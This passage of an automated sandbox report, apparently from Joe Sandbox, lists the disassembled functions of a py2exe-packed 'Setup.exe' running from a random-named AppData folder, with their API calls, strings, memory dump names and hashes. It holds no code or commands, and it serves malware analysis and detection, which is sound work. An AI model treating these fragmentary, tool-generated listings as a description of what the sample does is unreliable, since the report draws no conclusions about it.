Part of subcall function 00402520: _stricmp.MSVCR90(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040253C
Part of subcall function 00402520: SetLastError.KERNEL32(0000000B,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040255E

_snprintf.MSVCR90 ref: 004015C5
LoadLibraryA.KERNEL32(?), ref: 004015D3
GetProcAddress.KERNEL32(00000000,initzlib), ref: 004015E3

Strings

zlib.pyd, xrefs: 004015AC
<pythondll>, xrefs: 00401618
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 004015FA
<zlib.pyd>, xrefs: 00401630
ZLIB.PYD, xrefs: 0040154E
initzlib, xrefs: 0040158D
zlib.pyd, xrefs: 00401578
%s\%s, xrefs: 004015B6
initzlib, xrefs: 004015DD
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004015B1

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: Resource$Load$AddressErrorFindLastLibraryLockProc_snprintf_stricmp
String ID: %s\%s$<pythondll>$<zlib.pyd>$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$ZLIB.PYD$initzlib$initzlib$zlib.pyd$zlib.pyd
API String ID: 2010571536-2133320399
Opcode ID: ae8171121ff50720c6090cc407aa1a891991b12c19434c239d70883ea56e5c8f
Instruction ID: 80c5690bec49cf3331e261639d2591b172880e98f7e07ff1acb0629b34ba171b
Opcode Fuzzy Hash: ae8171121ff50720c6090cc407aa1a891991b12c19434c239d70883ea56e5c8f
Instruction Fuzzy Hash: 0A21F7B1A4130177E62067606D4AFAB325C9F91B08F08043AFE06F92D0FA7DDA0485BE

Function 004013E0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,PYTHON27.DLL), ref: 00401408
LoadResource.KERNEL32(?,00000000), ref: 00401414
LockResource.KERNEL32(00000000), ref: 0040141B
GetLastError.KERNEL32(Could not load python dll), ref: 0040143C

Part of subcall function 00401180: GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
Part of subcall function 00401180: GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

Part of subcall function 00401350: CreateFileA.KERNELBASE(C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365

strncmp.MSVCR90 ref: 00401478
UnmapViewOfFile.KERNEL32(00000000), ref: 00401499
_snprintf.MSVCR90 ref: 004014BD
GetLastError.KERNEL32(LoadLibrary(pythondll) failed), ref: 004014DB

Strings

PYTHON27.DLL, xrefs: 004014A4
PYTHON27.DLL, xrefs: 00401422
Could not load python dll, xrefs: 00401437
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 0040145A
%s\%s, xrefs: 004014AE
PYTHON27.DLL, xrefs: 00401489
<pythondll>, xrefs: 00401470
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004013E6, 004014A9
PYTHON27.DLL, xrefs: 00401400
LoadLibrary(pythondll) failed, xrefs: 004014D6

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: ErrorFileLastResource$CreateFindLoadLockModuleNameUnmapView_snprintfstrncmp
String ID: %s\%s$<pythondll>$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$Could not load python dll$LoadLibrary(pythondll) failed$PYTHON27.DLL$PYTHON27.DLL$PYTHON27.DLL$PYTHON27.DLL
API String ID: 948983971-1308289314
Opcode ID: e5fa7c13f66c1b1b8e088db1ac7ea836e05937aadb5f2d225cdafa8ad45d128f
Instruction ID: 9a0feed5ddbe4cddfef8bd4aac7050c8a6037310be6a08d4b3341eb70d5cfa45
Opcode Fuzzy Hash: e5fa7c13f66c1b1b8e088db1ac7ea836e05937aadb5f2d225cdafa8ad45d128f
Instruction Fuzzy Hash: 9721C9B1A4070067E721B7B0AD0BB9B325C9F80B49F54043AFB45F51E1FABC9A0446AE

Function 00401220 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,PYTHONSCRIPT), ref: 0040122E
GetLastError.KERNEL32(Could not locate script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401251

Part of subcall function 00401180: GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
Part of subcall function 00401180: GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

LoadResource.KERNEL32(?,00000000,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401267
GetLastError.KERNEL32(Could not load script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401276

Part of subcall function 00401000: FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
Part of subcall function 00401000: strncpy.MSVCR90 ref: 00401038
Part of subcall function 00401000: LocalFree.KERNEL32(?), ref: 00401046
Part of subcall function 00401000: lstrlenA.KERNEL32(00000000), ref: 00401058
Part of subcall function 00401000: _snprintf.MSVCR90 ref: 00401073
Part of subcall function 00401000: GetFocus.USER32 ref: 00401085
Part of subcall function 00401000: MessageBoxA.USER32(00000000), ref: 0040108C

LockResource.KERNEL32(00000000,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040128B
GetLastError.KERNEL32(Could not lock script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 004012A4

Strings

Bug: Invalid script resource, xrefs: 004012D2
%s\%s, xrefs: 0040130E
Could not load script resource:, xrefs: 00401271
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401318, 00401333
Could not lock script resource:, xrefs: 0040129F
Could not locate script resource:, xrefs: 0040124C
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 00401234, 00401309
PYTHONSCRIPT, xrefs: 00401226

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast$Resource$Message$FileFindFocusFormatFreeLoadLocalLockModuleName_snprintflstrlenstrncpy
String ID: %s\%s$Bug: Invalid script resource$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$Could not load script resource:$Could not locate script resource:$Could not lock script resource:$PYTHONSCRIPT
API String ID: 1129944797-1370332731
Opcode ID: b432dbf9351b12fe222823a8510b54283b5670730d38031d67c0957052b3a19f
Instruction ID: 7eba09b1a0f40aa0c84d07f7e295eb5ffc7ddc03588af27cd80fb795cb350761
Opcode Fuzzy Hash: b432dbf9351b12fe222823a8510b54283b5670730d38031d67c0957052b3a19f
Instruction Fuzzy Hash: F62128B26442006FD7115B78BE0DB9B3758DB80769F06007BFF05F62F1E67988428A9D

Function 004018E0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401220: FindResourceA.KERNEL32(?,00000001,PYTHONSCRIPT), ref: 0040122E
Part of subcall function 00401220: GetLastError.KERNEL32(Could not locate script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401251

__iob_func.MSVCR90 ref: 0040191B
setbuf.MSVCR90 ref: 00401924
__iob_func.MSVCR90 ref: 0040192B
setbuf.MSVCR90 ref: 00401931
__iob_func.MSVCR90 ref: 00401938
setbuf.MSVCR90 ref: 0040193E
getenv.MSVCR90 ref: 0040194F
getenv.MSVCR90 ref: 0040195D
atoi.MSVCR90 ref: 00401960

Strings

PY2EXE_VERBOSE, xrefs: 00401958
frozen, xrefs: 00401A1C
PY2EXE_VERBOSE, xrefs: 0040194A
C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe, xrefs: 004019A5
frozen, xrefs: 004019EF

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: __iob_funcsetbuf$getenv$ErrorFindLastResourceatoi
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe$PY2EXE_VERBOSE$PY2EXE_VERBOSE$frozen$frozen
API String ID: 2889461157-1111393873
Opcode ID: 6a41f32718c465f74dc13107b34463424df5baa3dd1c1489e4060c543bf3a866
Instruction ID: adff5b3d9cbd52ee3098cb8152bb6aaebbde8b1068d3032ab92f625a8504708a
Opcode Fuzzy Hash: 6a41f32718c465f74dc13107b34463424df5baa3dd1c1489e4060c543bf3a866
Instruction Fuzzy Hash: 293163B1A012005BD7007BB5AE49B5B3AA8DF44349F154436FD05BB2F1E67AD810CEAE

Function 00402520 Relevance: 21.2, APIs: 14, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCR90(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040253C
SetLastError.KERNEL32(0000000B,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040255E
SetLastError.KERNEL32(0000000B,?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 00402584
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?), ref: 004025A7
VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025BB
SetLastError.KERNEL32(00000008,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025C5
GetProcessHeap.KERNEL32(00000000,00000028,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025D7
HeapAlloc.KERNEL32(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025DE
_strdup.MSVCR90(?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 00402606
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,00000000), ref: 00402625
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00402637
memcpy.MSVCR90(00000000,?,?), ref: 0040264A
SetLastError.KERNEL32(0000000B), ref: 0040269F
free.MSVCR90 ref: 004026B6

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: Alloc$ErrorLastVirtual$Heap$Process_strdup_stricmpfreememcpy
String ID:
API String ID: 2469453545-0
Opcode ID: 5920acf7b4561dd90e574946742b47aa2b1a423a53400a6d9a2a9baf89e5df49
Instruction ID: e0f6c52df854575513d4d367151ecfb11016daf14cf6d7b4230d021fbf6e33ad
Opcode Fuzzy Hash: 5920acf7b4561dd90e574946742b47aa2b1a423a53400a6d9a2a9baf89e5df49
Instruction Fuzzy Hash: C451B5B2601700AFD7209F68ED48B6B77A8EB84715F14453AFA45E72C1D7B5E8008B99

Function 00401180 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

Part of subcall function 00401000: FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
Part of subcall function 00401000: strncpy.MSVCR90 ref: 00401038
Part of subcall function 00401000: LocalFree.KERNEL32(?), ref: 00401046
Part of subcall function 00401000: lstrlenA.KERNEL32(00000000), ref: 00401058
Part of subcall function 00401000: _snprintf.MSVCR90 ref: 00401073
Part of subcall function 00401000: GetFocus.USER32 ref: 00401085
Part of subcall function 00401000: MessageBoxA.USER32(00000000), ref: 0040108C

strncmp.MSVCR90 ref: 004011D2
strrchr.MSVCR90 ref: 00401201

Strings

Retrieving module name, xrefs: 00401199
C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe, xrefs: 00401189, 004011B0, 004011CD, 004011E4
\\?\, xrefs: 004011C8
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004011E9, 004011FC

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: Message$ErrorFileFocusFormatFreeLastLocalModuleName_snprintflstrlenstrncmpstrncpystrrchr
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe$Retrieving module name$\\?\
API String ID: 3478746248-3170411547
Opcode ID: 1c63dc24383a6b44afdcbb7e344813abb8cf198e7691c487b9f7923b4337fbf4
Instruction ID: 91c1268eff9de99491df4014b82af4a7232e339c9bbb35131923ff5da035fb76
Opcode Fuzzy Hash: 1c63dc24383a6b44afdcbb7e344813abb8cf198e7691c487b9f7923b4337fbf4
Instruction Fuzzy Hash: E201ADB06406405BE3011BB95E1AB173A849B59B0AF1A8072FB46FF2E2DA7DC914865D

Function 00401B90 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCR90 ref: 00401BFC
__iob_func.MSVCR90 ref: 00401C14
__iob_func.MSVCR90 ref: 00401C29

Strings

PYTHONINSPECT, xrefs: 00401BF5
<stdin>, xrefs: 00401C0F
<stdin>, xrefs: 00401C24
path, xrefs: 00401BD9

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: __iob_func$getenv
String ID: <stdin>$<stdin>$PYTHONINSPECT$path
API String ID: 952159037-346035110
Opcode ID: 38fc9347ebd0b39b6a251194a392424c584476c304bd1f4b767da579e09a30c7
Instruction ID: 3a0cd90c33e045019f3d85b4f9523035d4d057a98ccbf2b2234be1e6514390f9
Opcode Fuzzy Hash: 38fc9347ebd0b39b6a251194a392424c584476c304bd1f4b767da579e09a30c7
Instruction Fuzzy Hash: 2F018471A41710ABD61027B5AF0DB1F3A68DF41752F080036FD05F62A1EA39D924CEBE

Function 00401000 Relevance: 10.5, APIs: 7, Instructions: 46
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
strncpy.MSVCR90 ref: 00401038
LocalFree.KERNEL32(?), ref: 00401046
lstrlenA.KERNEL32(00000000), ref: 00401058
_snprintf.MSVCR90 ref: 00401073
GetFocus.USER32 ref: 00401085
MessageBoxA.USER32(00000000), ref: 0040108C

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: Message$FocusFormatFreeLocal_snprintflstrlenstrncpy
String ID:
API String ID: 2324749726-0
Opcode ID: 5c360f393e6a0c1135d57203a577ae5badcfff9240942876dcb77ff3ee984539
Instruction ID: d54df7ba943514a9ed245f917b7b029d9917e2ae8cd7c94c82d9e9a5e8dc25a3
Opcode Fuzzy Hash: 5c360f393e6a0c1135d57203a577ae5badcfff9240942876dcb77ff3ee984539
Instruction Fuzzy Hash: A20140F5514300BFE314ABA4DD4DF9B77A8ABC4704F00C828B789B61D1DA78D459C76A

Function 00401A50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCR90 ref: 00401A55
__iob_func.MSVCR90 ref: 00401A6E
__iob_func.MSVCR90 ref: 00401A83

Strings

PYTHONINSPECT, xrefs: 00401A50
<stdin>, xrefs: 00401A69
<stdin>, xrefs: 00401A7E

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: __iob_func$getenv
String ID: <stdin>$<stdin>$PYTHONINSPECT
API String ID: 952159037-3944695568
Opcode ID: 70635a653a20398afb8323c1779619fc8e2f8c30ff46a45be12a8d071d852709
Instruction ID: 8cca01e1b034a1b8fc333b74f5ab705df7888345169281b2be04b1cf812c368c
Opcode Fuzzy Hash: 70635a653a20398afb8323c1779619fc8e2f8c30ff46a45be12a8d071d852709
Instruction Fuzzy Hash: 61E0C270E417119BDA0057F86F0DA1B3A2CDD05352B080077EC09F21E0DA78D864CEBE

Function 004023A0 Relevance: 9.1, APIs: 6, Instructions: 149
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 004023CB

Part of subcall function 00401EA0: _stricmp.MSVCR90(004018FF,?,00000000,00000001,?,004023F3,004018FF,?,00402680,00000000), ref: 00401EBC
Part of subcall function 00401EA0: free.MSVCR90 ref: 00401EF0

realloc.MSVCR90 ref: 00402410
GetProcAddress.KERNEL32(00000000,00000002), ref: 0040249D
IsBadReadPtr.KERNEL32(?,00000014), ref: 004024BC
SetLastError.KERNEL32(0000007F), ref: 004024E1
SetLastError.KERNEL32(00000008), ref: 004024F1

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: ErrorLastRead$AddressProc_stricmpfreerealloc
String ID:
API String ID: 3829280425-0
Opcode ID: c1f4c7903eaecf4131432c3de378eb7ae882ce9fef0bb03a0e17263d17549ce1
Instruction ID: e06c3e0f55c1ce49f3d5eeedbd59607cc003002fbce32c9cbadbe966566b4b56
Opcode Fuzzy Hash: c1f4c7903eaecf4131432c3de378eb7ae882ce9fef0bb03a0e17263d17549ce1
Instruction Fuzzy Hash: 4941C6723012059BD7149F14ED88B6BB364FB80365F14417BF906E73D1E7B8E8158A59

Function 00401D60 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

undef symbol, xrefs: 00401DC3
undefined symbol %s -> exit(-1), xrefs: 00401DD1

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: undef symbol$undefined symbol %s -> exit(-1)
API String ID: 310444273-3880521481
Opcode ID: f28070308f0c5a66d053ef89d1ff9b282d5ce64fd2970f6b05dc0e2cfe902d45
Instruction ID: ce5dc5e057ab4e2a43885ee57fcd922f747e18a9ab2ef1d2ec3eba6c30d75da0
Opcode Fuzzy Hash: f28070308f0c5a66d053ef89d1ff9b282d5ce64fd2970f6b05dc0e2cfe902d45
Instruction Fuzzy Hash: 2B01D872900201ABE7106B68FD44A9773E8DFC0355F14443FF844E62E0E63CD8D18A69

Function 00401660 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCR90 ref: 004016BA
GetFullPathNameA.KERNEL32(00406580,00000104,00406580,004019BA,6F90F18A,?,004019BA), ref: 004016E7

Strings

^@, xrefs: 0040169B
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401661, 004016A2, 004016B0
^@, xrefs: 00401684

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: FullNamePathstrncpy
String ID: ^@$ ^@$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin
API String ID: 567410384-4287253745
Opcode ID: cd1a6e09d00ee151c9fa4b3db23d9f46a47509955db2e1ef7978f412654ecde5
Instruction ID: 0003fd1b2bd6f8a6e0c4509e74986bfdb13ef7a1d1aa951a95ab66f08de7795f
Opcode Fuzzy Hash: cd1a6e09d00ee151c9fa4b3db23d9f46a47509955db2e1ef7978f412654ecde5
Instruction Fuzzy Hash: 2D01B5B14042409FC310CB24FC1CB977794E744300F99487BE48AFB2D4E77A55288B9D

Function 004017D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCR90 ref: 004017FE
free.MSVCR90 ref: 004018C5

Strings

path, xrefs: 00401894
no mem for late sys.path, xrefs: 0040180D
,R@, xrefs: 0040183A

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: freemalloc
String ID: ,R@$no mem for late sys.path$path
API String ID: 3061335427-4293072127
Opcode ID: c4401dd601d074f02072bd3f5982eeff70958d79786ea3440c8d628079098a5a
Instruction ID: e471e226a36cf7089748808a910ea1bc09ef1ea7ee1f164221155ef36efc28ae
Opcode Fuzzy Hash: c4401dd601d074f02072bd3f5982eeff70958d79786ea3440c8d628079098a5a
Instruction Fuzzy Hash: 013149326005061BC70656386C285B77BD5DF95344318817AFC8BEB3A1EE36DD0A87C8

Function 00401F60 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,00000000,?,?,00402665,?,?,00000000), ref: 00401FB2
memset.MSVCR90 ref: 00401FBB
VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,00000000,?,?,00402665,?,?,00000000), ref: 00401FD0
memcpy.MSVCR90(00000000,e&@,00000000,?,00402665,?,?,00000000), ref: 00401FE0

Strings

e&@, xrefs: 00401FD5, 00401FDE

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
